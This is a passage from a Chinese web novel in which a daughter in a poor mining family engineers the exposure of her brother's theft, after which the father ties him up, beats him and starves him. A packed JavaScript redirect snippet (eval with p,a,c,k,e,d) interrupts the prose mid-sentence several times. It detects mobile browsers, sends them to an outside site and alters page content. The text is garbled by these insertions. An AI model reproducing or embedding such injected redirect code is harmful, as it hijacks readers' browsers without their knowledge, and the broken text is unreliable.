“够意思!”二柱啃着饼干,不知想到了什么,声音不免带上了担忧,“不过这钱……是从你妈那儿……拿的吧?她前两天在矿上骂得可凶了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后,她的目光落在了床底下那双又脏又破,几乎看不出原本颜色的胶鞋上。 鞋面破了洞,露出灰黑的棉絮,鞋底裂着大口子,鞋帮上糊着干涸的泥巴。 这是南天贵最常穿的,脏得连包兰芝都懒得刷洗,常念叨“开春就扔了”。 南雁屏住呼吸,伸出手,探进那只散发着酸腐气味的鞋子里。 指尖触到硬挺的鞋垫时,动作猛地顿住——鞋垫底下,好像垫着硬邦邦的东西,隔着薄布,不太能摸出是什么。 她飞快地抽出鞋垫。 下面,赫然卷着一小卷钞票,用一根半旧的橡皮筋紧紧捆着。 她小心翼翼地展开,是三张崭新的十元纸币,那特有的油墨味混杂着浓烈的脚臭,直冲鼻腔。 南雁的手控制不住地微微颤抖。 这票面她认得,包兰芝藏钱时,她曾偷偷瞥见过,就是这样崭新挺括的“大团结”。 她把钱按原样卷好,用橡皮筋扎紧,塞回鞋垫底下,将一切恢复原状,连橡皮筋勒出的痕迹都大致对准。 做完这一切,她直起身,拍了拍沾在手上的灰土,眼底最后一丝波澜也已平息。 现在,还不是掀开底牌的时候。 她需要一个时机,一个不仅能将南天贵的罪行彻底钉死,更能借此扭转自己在这泥潭般困境中命运的最佳时机。 10. 三人成虎 南雁想到了南玉。 这小丫头片子,刚因“诬告”自己挨了包兰芝一顿好骂,心里那点委屈和不忿,正像野草般疯长。 年纪小,藏不住话,又天生带点鬼机灵和睚眦必报的性子,正是最好利用的引信。 若让她“意外”撞破那个秘密,定会像点了炮仗,炸得人尽皆知。 …… 隔天上午,趁南玉独自在里屋摆弄几块碎布头,南雁悄无声息地挪到南天贵床前。 那双散发着酸腐气味的破胶鞋,像两条死鱼般瘫在床脚。 她指尖一松,几张色彩鲜艳的花糖纸,飘飘悠悠,落在了鞋边,更有两张,恰好滑进了张着口的鞋洞里。 这抹突兀的亮色,在这脏臭的鞋子旁格外扎眼。 果然,南玉的眼珠立刻被吸引过去。她蹲下身,小手急切地扒拉着,捡起一张,对着光看,很快便注意到了旁边那双散发着不寻常“吸引力”的胶鞋。 南雁背过身,脚步轻快地走向外屋,仿佛只是路过。 一出门,她立刻将耳朵紧紧贴上冰冷的门板,屏住了呼吸。 里屋先是传来南玉捡拾糖纸的细碎声响,接着,是胶鞋被挪动的摩擦声。 片刻沉寂后,一声难以置信的惊呼钻进南雁的耳朵,随即是更急促的翻动,伴随着一声短促而响亮的“哇!”。 南雁的嘴角,勾起一丝冷冽的弧度——鱼儿咬钩了。 她像一抹影子,悄无声息地挪到门边,透过那道窄窄的缝隙向内窥视。 南玉正跪坐在地上,手里紧紧攥着一卷用半旧橡皮筋捆扎的钞票。 她的眼睛瞪得溜圆,黑亮的瞳孔里映着纸币的纹路,因激动而熠熠生辉。小脸涨得通红,像是喝醉了酒,嘴角不受控制地向上翘着,那副抓住了天大的把柄,混合着惊讶与亢奋的神情,活脱脱一只刚偷吃了油的小耗子。 南雁立刻退开,没有丝毫停留,转身便出了屋子,去寻找下一个环节的关键——南春。 那丫头正蹲在歪斜的篱笆旁,全神贯注地盯着地上忙碌的蚂蚁搬家。 南雁蹲下身,从兜里摸出一颗用廉价彩纸包裹的水果糖,塞进南春黏糊糊的小手里:“春,姐跟你说个事。” 南春含着糖,腮帮子鼓起一块,含糊地“嗯”了一声,目光仍胶着在蚂蚁线上。 “等会儿吃饭,要是小玉说大哥坏话,你就跟着说,说看见大哥买烟了,记住了吗?”南雁顿了顿,确保每个字都清晰印入南春懵懂的脑子里,“是红梅烟,还有动物饼干,黄纸包,画着小老虎的那种。” 南春似懂非懂地点点头,糖果的甜味占据了她所有的感官,她“咯吱咯吱”地嚼着,很快便将姐姐的嘱咐简化成了一个简单的指令——跟着四姐说话。 夜幕降临,南秉义拖着仿佛灌了铅的双腿回来了。他脸上的灰比往日更深,嵌在眼角的皱纹里,连呼吸都带着沉重的湿气,腰背佝偻着,每一步都走得异常艰难。 晚饭的气氛,比丢了钱后的任何一天都要凝滞、沉重。 包兰芝没有上桌。 南雁端着几个黑黄的窝头走进里屋,只见她娘依旧对着那只空瘪的蓝布包发呆,眼睛肿得像两颗腐烂的核桃,眼角还挂着未干的泪痕。 “妈,多少吃点儿。”南雁将筷子递过去。 包兰芝没接,却猛地抓住她的手腕,枯瘦的手指冰凉,眼神直勾勾的,精神是濒临崩溃的涣散:“雁啊,你说……那钱……会不会是让风从炕洞缝里刮走了?那缝儿……不小……” 南雁看着包兰芝这样,心里也不好受,可一想到她的德行,又把刚软下来的心肠硬了回去:“兴许明天就找着了,您先吃饭。” 她退出里屋时,南秉义已经坐在了桌边。 他没有动筷子,只是死死盯着面前那个干硬的窝头,眉头紧蹙,额角的青筋虬结凸起,微微搏动着。 南天贵坐在他对面,脑袋几乎要埋进桌底,手里的窝头被他无意识地捏得变了形,碎屑簌簌落下。 南秀、南春和南峰挨挤着坐在一条长凳上,大气不敢出。 南玉却坐得异常端正,小脸上泛着不正常的红晕,激动之情几乎按捺不住,眼睛一下一下地瞟向对面的南天贵,又迅速垂下,嘴角抿着一抹即将复仇成功的快意。 南雁刚在自己位置坐下,里屋突然爆发出包兰芝嘶哑的哭嚎:“我的钱啊——那是给天贵娶媳妇的钱啊——没了这钱,天贵要打一辈子光棍了——我活着还有啥意思啊——” “哭丧哭够了没有!”南秉义猛地一拍桌子,“砰”的一声巨响,震得桌上几个粗瓷碗碟一阵乱跳。 南春吓得浑身一哆嗦,手里的半碗玉米粥泼洒出来,烫得她小声抽气。 南秉义:“一天到晚嚎!嚎就能把钱嚎回来?!” 里屋的哭声戛然而止,只剩下被强行压抑住的抽噎。 就在这时,南玉像是被这声怒吼注入了最后的勇气,猛地抬头,声音因极度紧张而拔得又尖又细:“爸!妈!我知道钱是谁偷的了!是大哥!是南天贵偷的!” 这句话,不啻于一道惊雷,悍然劈落在死寂的饭桌上空! 南天贵正伸筷子去夹咸菜的手猛地一抖,那疙瘩咸菜“啪嗒”掉在桌上,浑浊的油渍溅开一小片。 他的脸“唰”地一下褪尽血色,惨白如纸,眼神里瞬间塞满了惊恐与慌乱,嘴唇哆嗦着,语无伦次:“你……你个小丫头片子胡……胡沁啥!你……你放屁!你个小贱蹄子!” 南秉义的目光倏地转过去,直直钉在南天贵脸上:“你说啥?” 南天贵被这目光刺得一缩脖子,不敢再骂脏话,只梗着脖子强辩:“她冤枉我!她就是记恨我前几天抢了她半拉窝头!” “我没有冤枉你!”南玉“噌”地站起来,往前迈了一小步,瘦小的胸脯挺得高高的,带着一种揭发罪恶的义愤,“我看见钱了!就在大哥你的破胶鞋里!鞋垫子底下!藏着好几张大团结!新崭崭的!我下午亲眼看见的!” “你放屁!”南天贵彻底慌了神,站起身,张牙舞爪地就要扑过去抓南玉,“我撕烂你这张破嘴!” “你给我住手!”南秉义“啪”地又是一掌拍在桌上,力道之大,让碗筷直接蹦了起来。 他霍然起身,一把揪住南天贵的衣领,“说!是不是你干的?!” 南天贵的脸由白转红,又由红转青,嘴里反复机械地念叨着“不是我”,眼神却仓皇躲闪,根本不敢与南秉义对视。 包兰芝不知何时已从里屋踉跄着出来了。 她的头发像一团被践踏过的枯草,眼睛直勾勾地钉在南天贵身上,嘴唇剧烈地哆嗦着,半天发不出一个清晰的音节。 直到看清南天贵那副心虚到极点的慌乱模样,她才猛地扑过去,双手死死抓住他的胳膊,指甲深深掐进他的皮肉里,留下几道血红的印子。 “天贵……我的儿啊……”包兰芝的声音破碎不堪,眼泪决堤般涌出,混着鼻涕,“你跟妈说实话……不是你……对不对?那钱是妈的命啊……你咋能……你咋能啊……” “妈!真不是我!”南天贵挣扎着,声音里带上了绝望的哭腔,“是她陷害我!她就是看我不顺眼!想让你打死我!” “我没陷害你!”南玉急得跺脚,“钱就在你鞋里!不信现在就去翻!” 一直沉默的南雁,在桌下轻轻碰了碰南春的胳膊。 南春像是被按下了开关,立刻抬起头,声音怯怯的,带着孩童不谙世事的稚嫩,却像又一记闷棍:“爸,妈,三姐前天看见大哥在小卖部买烟了,红梅的,还买了动物饼干,分给二柱吃了。” 旁边的南秀身体明显僵了一下,知道躲不过,只好低着头,用细若蚊蚋的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560563|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附和:“嗯……是,看见了……饼干是黄纸包的,画着老虎……” 一个人指证,或许是诬告;两个人附和,或许是串通。 但三个孩子,连细节都说得严丝合缝,有鼻子有眼。 南天贵整个人彻底傻了。 他看着南秉义那如同暴风雨前天空的脸色,看着包兰芝那双从难以置信逐渐转为锥心刺痛的眼睛,看着南玉那言之凿凿,恨不得立刻去搜鞋的架势,心理防线终于彻底崩溃。 他双腿一软,“噗通”一声重重跪倒在地,双手死死抱住南秉义的腿,嚎啕大哭起来。 “爸!我错了!我不是人啊!”他哭得撕心裂肺,眼泪鼻涕糊了满脸,“我就是……就是想买包烟抽……想尝尝那饼干是啥味儿……我就拿了五十……剩下的我藏废料场大石头底下了……我真知道错了!爸你别打我!妈!我错了!我再也不敢了!别送我去派出所啊爸!” 南秉义的胸膛剧烈起伏着,他盯着脚下这个不成器的儿子,扬起蒲扇般的大手,“啪”一声脆响,狠狠掴在南天贵脸上。 这一巴掌又重又狠,南天贵的脸瞬间肿起老高,几道清晰的指印浮现在小麦色的皮肤上,触目惊心。 “畜生!那是给你娶媳妇的钱!是全家的指望!你竟然……你竟然敢……”南秉义气得浑身发抖,扬手还要再打。 “爸,别打了。” 南雁的声音平静地响起,像一瓢冷水,浇在即将失控的火焰上。她拦住南秉义再次扬起的手臂,“先把剩下的钱找回来要紧,天黑了,废料场那边路不好走。” 南秉义的手臂僵在半空,他转头看向南雁,对上她那双清澈却不见底的眼睛,满腔的暴怒像是突然被戳破的气囊,瞬间泄了个干净。 他颓然地垂下手臂,从胸腔深处挤出一声沉重到极致的叹息。 那叹息里,裹挟了半生的劳苦、望子成龙的破灭,以及对这个家深深的无力与绝望。 南雁扶着他重新坐下,目光扫过瘫坐在地上,仿佛被抽走魂魄的包兰芝,最后,落在半边脸红肿,仍在呜呜咽咽的南天贵身上。 他看起来狼狈又可怜。 南雁心里却没有半分快意,只有一片无边无际、冰封雪覆的荒芜。 她赢了吗? 表面上看,是的。 南天贵的罪行暴露于光天化日之下,那盆试图泼向她的脏水,被原路挡回。 可这个家,根植于骨子里的东西,何曾改变半分? 儿子犯下再大的错,一顿打骂似乎便可揭过;而女儿想要求学读书,却需要殚精竭虑,步步为营,去争夺那窄如缝隙的一线生机。 包兰芝的目光,此刻已彻底凝固,像两坨沉重的铅块,死死压在地上那滩不成器的“烂泥”身上。 她宝贝了十几年的儿子,那张曾让她无比骄傲的脸,此刻写满了懦弱与不堪。 巨大的失望如同冰寒的潮水,瞬间淹没了她,混合着心口撕裂般的绞痛和对未来彻底的茫然,让她眼前猛地一黑,身子晃了几晃,全靠下意识死死抓住炕沿,才勉强没有栽倒。 “走!现在就去!把剩下的钱给老子拿回来!”南秉义一把拽起南天贵的后衣领,像拖一头待宰的牲畜,粗暴地将他往门外扯。 南天贵的双脚在地上无力地蹬踹,根本无法挣脱那只铁钳般的大手。 包兰芝也挣扎着爬起身,脚步虚浮踉跄地跟在后面。 矿村的夜,黑得深沉刺骨,寒风呼啸。 南雁独自站在冰冷的门槛内,看着那三个跌跌撞撞的身影被浓稠的夜色彻底吞噬。 远处废料场方向,矿灯的光芒在黑暗中摇曳不定,像飘荡在荒丘之上的鬼火,将矿渣山狰狞扭曲的轮廓,映照得如同噬人的怪兽。 半个多小时后,杂乱而沉重的脚步声,终于从那片无边无际的黑暗深处,迟缓地传来。 11. 讨债鬼 南秉义拽着耷拉着脑袋的南天贵回来了,像拖一条死狗。 少年脚步踉跄,脸上红肿未消,嘴角还挂着干涸的血迹。 南秉义粗糙的大手里,紧紧攥着一个看不出原色的布包。 一进堂屋,他扬手将布包狠狠掼在桌上。 包裹散开,里面的钱零零散散地摊了出来,有新有旧,面额不等,带着废料场的泥土气息。 南秉义阴沉着脸,手指微微发抖,开始清点那些皱巴巴的纸币。 包兰芝也慌忙凑过来,红肿的眼睛死死盯着,屏住了呼吸。 一遍,两遍…… 最终数目定格在六十八块七毛三分。 “三十多块!”南秉义猛地将布包连同桌上的钱一起狠狠砸下,发出“砰”的巨响。 他胸口剧烈起伏,眼睛瞪得血红,声音嘶哑如破锣,“这才几天!你就糟蹋了三十多块!老子在井下钻一天,黑汗白流,累死累活才挣一块二!你拿家里的救命钱当流水!抽烟!吃饼干!你咋不把自己点了!” 包兰芝看着桌上那点可怜巴巴的钱,连哭都哭不出声了。 她捂着胸口,眼泪无声地淌,嘴唇哆嗦着,反复念叨:“完了……全完了……天贵的媳妇本……南峰的学费……拿什么交啊……” 南秉义没理她,转身大步走到院里柴房,翻出一根粗粝的麻绳。 他走回堂屋时,南天贵正试图往炕边挪,想寻求母亲的庇护。 南秉义眼疾手快,一把揪住他的胳膊,反拧到身后。 “啊!”南天贵痛叫一声,胳膊上传来的力道让他浑身发抖。 南秉义动作不停,粗糙的麻绳在他手腕上绕了三圈,每一圈都勒进皮肉,最后打了个死结,绳头留出长长一截。 “爸!我错了!再也不敢了!”南天贵膝盖一软想跪,却被南秉义拽着麻绳往上提。 南秉义抬手将绳头甩过房梁,抓住末端,猛地往下一拉—— “啊——!”凄厉的惨叫撕裂了夜晚的寂静。 南天贵整个人被吊离地面,脚尖勉强沾地,身体的重量全压在反绑的双臂上,肩关节发出令人牙酸的“嘎吱”声。 他像只被蛛网缠住的飞虫,徒劳地踢蹬着双腿,在空中无助地晃荡。 南秉义顺手抄起墙角的笤帚疙瘩——细竹条捆扎的,顶端还带着尖锐的毛刺。 他扬起手,笤帚疙瘩带着风声,狠狠抽在南天贵的背上。 “啪!” 清脆的抽打声在堂屋里炸开,伴随着南秉义的怒骂:“我叫你偷!我叫你败家!今天不打死你个畜生,我就不姓南!” “啪!啪!” 笤帚疙瘩一下接一下,落在南天贵的后背、胳膊上,很快渗出细密的血珠。 起初他还杀猪般地嚎哭求饶:“爸!我不敢了!妈!救我啊!” 渐渐地,哭声弱了下去,变成痛苦的呻吟,最后只剩下断断续续的啜泣,像被遗弃的幼猫。 包兰芝坐在炕沿上,看着儿子浑身是伤,脸色惨白的模样,心如刀绞。 她一边掉眼泪,一边拍着大腿哭骂:“你个讨债鬼!家里都快揭不开锅了,你还偷钱!你咋不去死啊!” 骂着骂着,又开始扇自己耳光:“都怪我!怪我惯着你!怪我没教好你!” 南雁站在里屋门口,冷眼看着这场混乱。她没有上前劝阻,也没有像弟弟妹妹那样害怕得发抖。 见南秀、南玉、南春和南峰缩在一起,尤其是南峰快要哭出来,她立刻走过去,低声对南秀说:“带他们回屋,捂住耳朵,别听。” 南秀如蒙大赦,赶紧拉着弟妹逃进里屋。 南雁没有回去。 她走到堂屋角落,蹲下身,一枚一枚捡起散落的钢镚,又从桌缝里抠出卡住的纸币,一张张抚平褶皱,整齐地码在桌上。 这时,南秉义的笤帚疙瘩突然停了。 他看着南天贵垂着头,连呻吟都微不可闻,又心疼又恨铁不成钢。 他把散架的笤帚疙瘩扔在地上。 “今晚不准吃饭,不准喝水,就在这儿跪着!什么时候想明白错在哪了,什么时候起来!” 说完,南秉义转身走到炕边,重重坐下,双手插进头发里用力抓着,露出疲惫不堪的脸。 包兰芝还在哭,声音已经嘶哑,肩膀一抽一抽。 堂屋里只剩下南天贵微弱的啜泣,和煤油灯芯“突突”的跳动声。 …… 隔着一道薄薄的土坯墙,南家的动静清清楚楚传到了隔壁。 李大婶刚收拾完碗筷,坐在炕沿边就着煤油灯纳鞋底,针线活做得心不在焉,耳朵始终支棱着。 听到南秉义那声“我打死你个不争气的畜生”时,她手里的针一抖,差点扎到手指。 她叹了口气,放下鞋底和针线箩筐,侧身躺下,用胳膊肘捅了捅旁边闭眼睡觉的丈夫陈明。 陈明在矿上和南秉义一样下井,干了一天重活,困得睁不开眼。被媳妇一捅,他不耐烦地哼唧:“大半夜不睡觉,捅我干啥?” “你没听见隔壁动静?”李大婶压低声音,朝隔壁努嘴,“南家又闹起来了,秉义那火气,怕是要出人命。” 陈明揉揉眼睛,勉强睁开一条缝:“能闹啥?天贵那小子又闯祸了。半大小子,吃穷老子,还不省心。” 他打了个哈欠,“别管闲事,睡吧,明早还得下井。” “这回不一样。”李大婶往前凑了凑,声音压得更低,带着神秘,“你没听包兰芝哭?跟死了人似的,还说‘钱没了’‘媳妇本’。我估摸着,天贵偷钱了,数目不小!” 陈明的睡意散了大半。他坐起来,摸过炕边的烟袋捏在手里:“不能吧?南家那点家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560564|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底,秉义看得比命重,包兰芝藏钱的地方耗子都找不着。” “你这就不知道了!”李大婶一副了然于胸的表情,“下午我去打水,碰见包兰芝在院里转悠,眼睛肿得像桃,魂不守舍的。后来看见南雁洗菜,脸色也不对,我问她咋了,她直摇头。” “你想啊,要不是丢了大钱,秉义能发这么大火?你听这打孩子的动静,可不是吓唬,是往死里打!” 陈明沉默了。 他跟南秉义一起下过井,知道那钱挣得多难——巷道又黑又潮,腰弯久了都直不起来,还要冒落石的风险。 三十多块,够南秉义在井下钻一个月,够一家人省吃俭用活半个月。 “天贵那小子,确实不像话。”陈明叹气,“前几天我还看见他跟镇上的二流子混,手里拿着烟,抽得有模有样。秉义这火气,我能理解。” “可不是嘛!”李大婶接过话头,语气鄙夷,“都是包兰芝惯的!把儿子当眼珠子,要啥给啥。南雁多好的丫头,勤快懂事学习好,你看她穿的啥?打补丁的旧衣服,好东西全紧着天贵。这下好了,养出个白眼狼,偷钱偷到自家头上!” “小声点!”陈明赶紧提醒,“没凭没据的,别让人听见。” “这还用凭据?”李大婶不以为然,“你听这动静,要是没抓着现行,能闹这么大?肯定是天贵干的!下午我还看见他在小卖部晃悠,手里拿着饼干,现在想想,那钱指不定就是偷的!” 墙那边又传来南天贵一声压抑的惨嚎,接着是包兰芝更高亢的哭骂。 李大婶听得直咂嘴:“啧啧,造孽。不过也该管教了,再不管,以后指不定闯什么大祸。” 陈明重新躺下,背对媳妇:“清官难断家务事,少掺和。秉义有分寸,不会真打死孩子。睡吧。” 李大婶却没睡意。 她竖着耳朵听隔壁动静,嘴里絮絮叨叨:“你说这钱要是真没了,南家日子可更难了。天贵的媳妇本没了,南峰的学费也没着落。包兰芝下午还跟我念叨,想给南雁说个婆家换彩礼。这要是钱没了,南雁那丫头怕是……” 她没再说下去,重重叹了口气。 煤油灯的光晕晃动,映着她脸上复杂的神情——有同情,有无奈,还有一丝隐秘的庆幸。 自家儿子虽没大出息,至少不惹祸,不用操这么大心。 墙那边的打骂声渐渐低落,变成断断续续的啜泣和压抑的沉默。 夜越来越深,风还在刮,把整个矿村裹进一片寂静。 李大婶又听了会儿,直到隔壁再没动静,才吹熄了灯。 黑暗中,她睁着眼躺了许久,心里盘算:明天见了包兰芝,是该装作不知道,还是该安慰几句?要是安慰,该说什么?要是装不知道,会不会太冷漠? 这些念头在她脑子里转来转去,直到后半夜,才迷迷糊糊睡着。 12. 不再心软 南家的堂屋没点灯。 只有灶房那边还亮着一星昏黄的煤油光,把南天贵蜷缩在墙角的影子拉得扭曲变形,像条被抽了骨头的野狗。 他后背的血印子早已凝了黑紫色的痂,粗麻绳深深勒进肿胀的手腕,每动一下,伤口就像被撒了盐似的钻心地疼。 眼泪鼻涕糊在冻得发僵的脸上,冷风一吹,结了层薄霜。 他渴得嗓子冒烟,胃里空得发慌,却连哼都不敢哼一声。 南秉义坐在炕沿上,烟袋锅子在黑暗里明明灭灭,那点猩红的光映着他铁青的脸,像随时会爆开的火药桶。 谁都知道这时候凑上去,准得挨顿更狠的揍。 包兰芝哭累了,歪在炕头,眼神空洞地望着地面,唉声叹气。 桌上的钱早被南雁理得整整齐齐,分成了几摞。 里屋的破布帘子被风掀起一角,南雁走进去时,正看见南秀把南峰紧紧搂在怀里。 小丫头片子才八岁,胳膊细得像麻杆,却把弟弟护得严严实实。 南玉和南春缩在炕角,眼睛红肿得像红桃,看见她进来,南峰的眼泪先掉了下来:“大姐,大哥会不会死啊?” 南雁的手顿了顿,伸手摸了摸他冻得冰凉的小脸。 这孩子才五岁,还不懂“死”是什么意思,只知道父亲的鞭子抽在大哥身上有多响,母亲的哭声有多吓人。 她转身从柜子里翻出件打满补丁的旧棉袄——那是南秉义前年穿剩的,递到南秀手里:“给大哥盖上,别冻坏了。” 南秀捏着棉袄的边角,犹犹豫豫地挪到堂屋。 南天贵听见脚步声,抬头,眼里闪过乞求的光,见是三妹,又慌忙低下头,嘴唇翕动了几下,最终只发出点含糊的气音。 南秀把棉袄轻轻盖在他身上,触到他后背硬结的血痂,吓得手一抖,棉袄滑落半边。 她没敢再碰,转身逃也似的跑回了里屋。 * 第二天一早,天色像块脏抹布。 南雁照例早早起来烧好热水,端着一铜盆洗脸水走进里屋时,包兰芝已经坐在炕沿上了。 往日这个时候,她早该扯着嗓子催她扫地、喂猪,嫌水凉、嫌动作慢,今天却像聋了似的,直勾勾盯着窗外那座矿渣山。 那山堆得比南家屋顶还高,灰黑色的渣石在惨淡的晨光里泛着冷硬的光,像一头蹲踞的巨兽,随时要扑下来将人吞噬。 南雁把铜盆放在炕边,水花溅到包兰芝的裤脚,她也没像往常那样跳起来骂人,只是缓缓抬起头。 眼神里的精明和算计全不见了,只剩下厚厚的疲惫,血丝蛛网般爬满眼底,像蒙了层灰的玻璃,连南雁都读不懂那里面沉积的,究竟是失望,还是绝望。 是失望儿子不争气,还是绝望这日子怎么就越过越往泥里陷? …… 南秉义下井前,换上那身沾满灰,破洞累累的工作服。 路过南雁那间用破布帘子勉强隔出来的角落时,正看见她坐在小凳上,膝盖摊着那本旧课本,低声默念着。 若是以前,南秉义多半会皱起眉,觉得女孩子看这些没用,要么呵斥她赶紧去干活,要么直接无视。 可这次,他脚步顿住了,在门口站了足足好几秒。目光落在南雁专注的侧脸和泛黄的书页上,可惜的叹了一口气,然后转身,默然推门出去。 那声叹息混着清晨的冷风,钻进南雁耳朵里。 她翻页的手顿了顿,抬头时,只看见父亲佝偻的背影消失在院门外,矿灯在他背后无力地晃悠,像颗即将湮灭在黎明前的寒星。 南天贵仍被反绑双手,拴在堂屋结实的桌腿旁。 南秉义发了话,要让他长足记性,饿上一天,好好反省。 南雁见他嘴唇干裂爆皮,脸色灰败如土,蜷在那里瑟瑟发抖的可怜相,终究动了些许恻隐之心。 她盛了一碗清水,走过去蹲下身,准备喂他喝一点。 然而,碗沿刚碰到南天贵干裂的嘴唇,南秉义冰冷的声音就如鞭子般从身后抽来:“不准给!” 南雁手一抖,碗里的水泼洒出来,打湿了南天贵胸前的衣襟,也溅湿了地面。 南秉义大步跨进来,目光扫过南雁手里的碗和南天贵渴望的眼神,声音斩钉截铁:“让他饿着!清醒清醒!好好想想自己错在哪儿!家里的血汗钱,是让他这么糟蹋的?!今天谁要是敢偷偷给他一口吃的,” 他转向南雁,“我连他一块打!” 南雁握着碗的手指收紧,她看着桌腿旁眼神惊恐,充满哀恳的南天贵,又看了看父亲铁青紧绷的脸,默默地端着那半碗水,起身,一步步退回了厨房,将水缓缓倒回了水缸里。 水面漾开一圈涟漪,旋即平复。 她告诉自己,不能心软。 南天贵是自作自受。 年幼的南春蹲在院子墙角,用小手指拨弄着几颗圆润的石子,见南雁出来,抬起懵懂的小脸,含糊不清地问:“大姐……大哥,还饿着呢?” 南雁伸手,摸了摸她枯黄如草的头发,没有应声,转身回了自己的小角落。 桌角的课本还摊开着,冷风从窗缝钻进来,吹得书页哗啦作响。 那些熟悉的方块字在眼前晃动,像一群游不动的小蝌蚪,半天也没看进去一个。 晌午过了,包兰芝才像上了发条的木偶,僵硬地动起来。 她理了理散乱如草的头发,脚步虚浮地走出院子,去了隔壁李家。 南雁隔着薄薄的院墙,能听见她带着哭腔的声音,混着李婶故作同情的劝慰:“六十八块七毛三分啊……那是他爸下井挣的命钱……这日子可怎么过啊……” 南雁知道,母亲不是去求帮衬的。 李家跟南家一样穷得叮当响,最多施舍两个能硌掉牙的玉米面窝头。 包兰芝只是想找个地方倾倒苦水,维持住“我是个可怜母亲”的体面,顺便……或许也在盘算别的。 等包兰芝回来时,手里果然攥着两个干硬的窝头。 她没提给拴着的南天贵,只是默默把窝头放在冰冷的灶台上,然后又像被抽空了力气,瘫坐回炕沿,继续盯着窗外的矿渣山发呆,仿佛那山真能把丢了的钱吐出来似的。 傍晚,南秉义带着更深的疲惫和矿井的阴冷气息回来了。 他先去了堂屋,看了一眼拴在桌腿旁的南天贵。 经过一整天的饥饿、恐惧和捆绑,南天贵已经没了挣扎的力气,像一滩烂泥瘫在地上,脸色白得吓人,嘴唇干裂出血丝,只有胸口微弱的起伏证明他还活着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560565|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看见南秉义进来,他眼神里瞬间塞满恐惧,身体下意识地蜷缩,连啜泣都不敢大声,只剩下压抑的抽气。 南秉义盯着他看了半晌,烟袋锅子在渐浓的暮色里明灭。最终,他弯下腰,解开了拴在桌腿上的绳子,又松开了反绑南天贵双手的麻绳。 南天贵的胳膊无力地垂落下来,麻木得没了知觉。 他想求饶,却连张口的力气都挤不出来。 “晚上就在这地上待着。”南秉义丢下硬邦邦的一句话,转身去了堂屋,拿起烟袋,沉默地抽了起来。 南雁看着手里自己省下来,准备晚上看书时垫肚子的半个窝头,又看了看角落里惊惶未定,如同丧家之犬的南天贵,内心挣扎、撕扯了许久。 有那么一瞬间,她几乎要迈步走过去。 但前世记忆的碎片如同冰冷的潮水,轰然涌来——那些无谓的善良,不合时宜的心软,最终换来的不过是更多的索取、压榨和理所当然的忽视。 马善被人骑,人善被人欺。 可怜之人必有可恨之处! 思及此,南雁心里那点残存的可笑同情和难过,便迅速冷却、硬化,最终凝固成冰冷的铁石。 她不再犹豫,收回目光,拿着那半个能救命的窝头,转身回到了自己的小桌前。 她用力咬了一口干硬剌嗓子的窝头,就着窗外透进来的微弱天光,重新摊开了课本。 …… 南天贵被足足饿了两天,直到第三天下午,包兰芝才在南秉义默许的冰冷眼神下,端了一碗清澈得能照见人影的稀粥给他。 南天贵像濒死的饿鬼见了救命粮,猛地扑过去,狼吞虎咽。 “去劈柴,挑水。”南秉义的声音依旧不带丝毫温度,“把丢的钱,用你的力气,一分一分给老子挣回来!” 南天贵不敢有丝毫耽搁,拖着虚弱发飘的身体挪到院子。 他拿起斧头,胳膊还在不受控制地发抖,一斧头下去,没劈中柴,倒差点削到自己的脚背。 以前他总爱跟矿上那些二流子混在一起,抽烟、赌钱,觉得劈柴挑水是“没出息”的窝囊活,此刻却连半点怨怼的神色都不敢露,只是咬着牙,一下一下地劈着。 汗水混着背后的血污,顺着下巴往下滴,落在冻得硬邦邦的地上,瞬间就没了痕迹。 他眼里那股天不怕地不怕的混不吝劲儿彻底消失了,只剩下深深的畏缩和惊惧,像只被彻底打怕了,驯服了的野狗。 南雁冷眼旁观着这一切。 她知道,父亲的雷霆手段或许暂时压制住了南天贵的恶习,但能否根除他骨子里滋生的自私和惫懒,还是未知之数。 而母亲包兰芝异常的状态,则更让她心生警惕。 这种过分的沉默和反常,更像是一种危险的积蓄,一种在巨大打击过后,重新调整,暗中盘算的过程。 她毫不怀疑,一旦包兰芝从这次的重创中稍稍缓过气来,她那精于算计、根深蒂固的重男轻女本质,只会变本加厉。 她必定会更加急切,不择手段地想要从别处找补回这笔“损失”。而自己这个逐渐显露“反骨”,难以掌控的女儿,极有可能成为她眼中最新的目标和可以牺牲的筹码。 寒意,无声无息地爬上南雁的脊背。 13. 